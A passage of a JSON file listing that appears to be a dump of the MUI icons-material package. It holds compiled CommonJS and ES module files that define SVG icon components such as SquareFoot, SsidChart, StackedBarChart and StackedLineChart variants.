    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 17.66-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71-1.94-1.94-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71-1.94-1.94-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71L9.7 9.7l-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71-1.94-1.94-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71-1.49-1.49c-.31-.31-.85-.09-.85.36V18c0 1.1.9 2 2 2h12.79c.45 0 .67-.54.35-.85zM7 16v-4.76L12.76 17H8c-.55 0-1-.45-1-1\"\n}), 'SquareFootRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFootSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 17.66-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L9.7 9.7l-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L4 4v16h16zM7 17v-5.76L12.76 17z\"\n}), 'SquareFootSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFootSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 17.66-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L9.7 9.7l-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L4 4v16h16zM7 17v-5.76L12.76 17z\"\n}), 'SquareFootSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFootTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h5.76L7 11.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 17.66-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L9.7 9.7l-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L4 4v14c0 1.1.9 2 2 2h14zM7 17v-5.76L12.76 17z\"\n}, \"1\")], 'SquareFootTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFootTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h5.76L7 11.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 17.66-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L9.7 9.7l-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L4 4v14c0 1.1.9 2 2 2h14zM7 17v-5.76L12.76 17z\"\n}, \"1\")], 'SquareFootTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14z\"\n}), 'SquareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14z\"\n}), 'SquareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2\"\n}), 'SquareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2\"\n}), 'SquareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v18H3z\"\n}), 'SquareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v18H3z\"\n}), 'SquareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h14v14H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14z\"\n}, \"1\")], 'SquareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h14v14H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14z\"\n}, \"1\")], 'SquareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5.47 12 12 7.62 7.62 3 11V8.52L7.83 5l4.38 4.38L21 3zM21 15h-4.7l-4.17 3.34L6 12.41l-3 2.13V17l2.8-2 6.2 6 5-4h4z\"\n}), 'SsidChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5.47 12 12 7.62 7.62 3 11V8.52L7.83 5l4.38 4.38L21 3zM21 15h-4.7l-4.17 3.34L6 12.41l-3 2.13V17l2.8-2 6.2 6 5-4h4z\"\n}), 'SsidChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5.47 12 12 7.62 7.62 3 11V8.52L7.83 5l4.38 4.38L21 3zM21 15h-4.7l-4.17 3.34L6 12.41l-3 2.13V17l2.8-2 6.2 6 5-4h4z\"\n}), 'SsidChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5.47 12 12 7.62 7.62 3 11V8.52L7.83 5l4.38 4.38L21 3zM21 15h-4.7l-4.17 3.34L6 12.41l-3 2.13V17l2.8-2 6.2 6 5-4h4z\"\n}), 'SsidChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9.03c0-.32.15-.62.41-.81L7.14 5.5c.4-.29.95-.25 1.3.1l3.78 3.78 7.2-5.23c.65-.48 1.58-.01 1.58.81 0 .32-.15.62-.41.81l-7.9 5.73c-.4.29-.95.25-1.29-.1L7.62 7.62 4.59 9.84c-.66.48-1.59.01-1.59-.81M21 16c0-.55-.45-1-1-1h-3.35c-.23 0-.45.08-.62.22l-3.9 3.12-5.53-5.35c-.35-.34-.88-.38-1.27-.1l-1.9 1.35c-.27.19-.43.5-.43.82 0 .81.92 1.29 1.58.81L5.8 15l5.57 5.39c.36.35.93.38 1.32.06L17 17h3c.55 0 1-.45 1-1\"\n}), 'SsidChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9.03c0-.32.15-.62.41-.81L7.14 5.5c.4-.29.95-.25 1.3.1l3.78 3.78 7.2-5.23c.65-.48 1.58-.01 1.58.81 0 .32-.15.62-.41.81l-7.9 5.73c-.4.29-.95.25-1.29-.1L7.62 7.62 4.59 9.84c-.66.48-1.59.01-1.59-.81M21 16c0-.55-.45-1-1-1h-3.35c-.23 0-.45.08-.62.22l-3.9 3.12-5.53-5.35c-.35-.34-.88-.38-1.27-.1l-1.9 1.35c-.27.19-.43.5-.43.82 0 .81.92 1.29 1.58.81L5.8 15l5.57 5.39c.36.35.93.38 1.32.06L17 17h3c.55 0 1-.45 1-1\"\n}), 'SsidChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5.47 12 12 7.62 7.62 3 11V8.52L7.83 5l4.38 4.38L21 3zM21 15h-4.7l-4.17 3.34L6 12.41l-3 2.13V17l2.8-2 6.2 6 5-4h4z\"\n}), 'SsidChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5.47 12 12 7.62 7.62 3 11V8.52L7.83 5l4.38 4.38L21 3zM21 15h-4.7l-4.17 3.34L6 12.41l-3 2.13V17l2.8-2 6.2 6 5-4h4z\"\n}), 'SsidChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5.47 12 12 7.62 7.62 3 11V8.52L7.83 5l4.38 4.38L21 3zM21 15h-4.7l-4.17 3.34L6 12.41l-3 2.13V17l2.8-2 6.2 6 5-4h4z\"\n}), 'SsidChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SsidChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5.47 12 12 7.62 7.62 3 11V8.52L7.83 5l4.38 4.38L21 3zM21 15h-4.7l-4.17 3.34L6 12.41l-3 2.13V17l2.8-2 6.2 6 5-4h4z\"\n}), 'SsidChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h4v11H4zm0-5h4v4H4zm6 3h4v4h-4zm6 3h4v4h-4zm0 5h4v5h-4zm-6-3h4v8h-4z\"\n}), 'StackedBarChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h4v11H4zm0-5h4v4H4zm6 3h4v4h-4zm6 3h4v4h-4zm0 5h4v5h-4zm-6-3h4v8h-4z\"\n}), 'StackedBarChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h4v11H4zm0-5h4v4H4zm6 3h4v4h-4zm6 3h4v4h-4zm0 5h4v5h-4zm-6-3h4v8h-4z\"\n}), 'StackedBarChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h4v11H4zm0-5h4v4H4zm6 3h4v4h-4zm6 3h4v4h-4zm0 5h4v5h-4zm-6-3h4v8h-4z\"\n}), 'StackedBarChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20c1.1 0 2-.9 2-2V9H4v9c0 1.1.9 2 2 2M4 8h4V6c0-1.1-.9-2-2-2s-2 .9-2 2zm6 3h4V9c0-1.1-.9-2-2-2s-2 .9-2 2zm6 1v2h4v-2c0-1.1-.9-2-2-2s-2 .9-2 2m2 8c1.1 0 2-.9 2-2v-3h-4v3c0 1.1.9 2 2 2m-6 0c1.1 0 2-.9 2-2v-6h-4v6c0 1.1.9 2 2 2\"\n}), 'StackedBarChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20c1.1 0 2-.9 2-2V9H4v9c0 1.1.9 2 2 2M4 8h4V6c0-1.1-.9-2-2-2s-2 .9-2 2zm6 3h4V9c0-1.1-.9-2-2-2s-2 .9-2 2zm6 1v2h4v-2c0-1.1-.9-2-2-2s-2 .9-2 2m2 8c1.1 0 2-.9 2-2v-3h-4v3c0 1.1.9 2 2 2m-6 0c1.1 0 2-.9 2-2v-6h-4v6c0 1.1.9 2 2 2\"\n}), 'StackedBarChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h4v11H4zm0-5h4v4H4zm6 3h4v4h-4zm6 3h4v4h-4zm0 5h4v5h-4zm-6-3h4v8h-4z\"\n}), 'StackedBarChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h4v11H4zm0-5h4v4H4zm6 3h4v4h-4zm6 3h4v4h-4zm0 5h4v5h-4zm-6-3h4v8h-4z\"\n}), 'StackedBarChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h4v11H4zm0-5h4v4H4zm6 3h4v4h-4zm6 3h4v4h-4zm0 5h4v5h-4zm-6-3h4v8h-4z\"\n}), 'StackedBarChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedBarChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h4v11H4zm0-5h4v4H4zm6 3h4v4h-4zm6 3h4v4h-4zm0 5h4v5h-4zm-6-3h4v8h-4z\"\n}), 'StackedBarChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 19.99 7.5-7.51 4 4 7.09-7.97L22 9.92l-8.5 9.56-4-4-6 6.01zm1.5-4.5 6-6.01 4 4L22 3.92l-1.41-1.41-7.09 7.97-4-4L2 13.99z\"\n}), 'StackedLineChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 19.99 7.5-7.51 4 4 7.09-7.97L22 9.92l-8.5 9.56-4-4-6 6.01zm1.5-4.5 6-6.01 4 4L22 3.92l-1.41-1.41-7.09 7.97-4-4L2 13.99z\"\n}), 'StackedLineChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 19.99 7.5-7.51 4 4 7.09-7.97L22 9.92l-8.5 9.56-4-4-6 6.01zm1.5-4.5 6-6.01 4 4L22 3.92l-1.41-1.41-7.09 7.97-4-4L2 13.99z\"\n}), 'StackedLineChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 19.99 7.5-7.51 4 4 7.09-7.97L22 9.92l-8.5 9.56-4-4-6 6.01zm1.5-4.5 6-6.01 4 4L22 3.92l-1.41-1.41-7.09 7.97-4-4L2 13.99z\"\n}), 'StackedLineChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.79 14.78-.09-.09a.996.996 0 0 1 0-1.41l6.09-6.1c.39-.39 1.02-.39 1.41 0l3.29 3.29 6.39-7.18c.38-.43 1.05-.44 1.45-.04.37.38.39.98.04 1.37l-7.17 8.07c-.38.43-1.04.45-1.45.04L9.5 9.48l-5.3 5.3c-.38.39-1.02.39-1.41 0m1.41 6 5.3-5.3 3.25 3.25c.41.41 1.07.39 1.45-.04l7.17-8.07c.35-.39.33-.99-.04-1.37-.4-.4-1.07-.39-1.45.04l-6.39 7.18-3.29-3.29a.996.996 0 0 0-1.41 0l-6.09 6.1c-.39.39-.39 1.02 0 1.41l.09.09c.39.39 1.03.39 1.41 0\"\n}), 'StackedLineChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.79 14.78-.09-.09a.996.996 0 0 1 0-1.41l6.09-6.1c.39-.39 1.02-.39 1.41 0l3.29 3.29 6.39-7.18c.38-.43 1.05-.44 1.45-.04.37.38.39.98.04 1.37l-7.17 8.07c-.38.43-1.04.45-1.45.04L9.5 9.48l-5.3 5.3c-.38.39-1.02.39-1.41 0m1.41 6 5.3-5.3 3.25 3.25c.41.41 1.07.39 1.45-.04l7.17-8.07c.35-.39.33-.99-.04-1.37-.4-.4-1.07-.39-1.45.04l-6.39 7.18-3.29-3.29a.996.996 0 0 0-1.41 0l-6.09 6.1c-.39.39-.39 1.02 0 1.41l.09.09c.39.39 1.03.39 1.41 0\"\n}), 'StackedLineChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 19.99 7.5-7.51 4 4 7.09-7.97L22 9.92l-8.5 9.56-4-4-6 6.01zm1.5-4.5 6-6.01 4 4L22 3.92l-1.41-1.41-7.09 7.97-4-4L2 13.99z\"\n}), 'StackedLineChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 19.99 7.5-7.51 4 4 7.09-7.97L22 9.92l-8.5 9.56-4-4-6 6.01zm1.5-4.5 6-6.01 4 4L22 3.92l-1.41-1.41-7.09 7.97-4-4L2 13.99z\"\n}), 'StackedLineChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChartTwoTone.js",
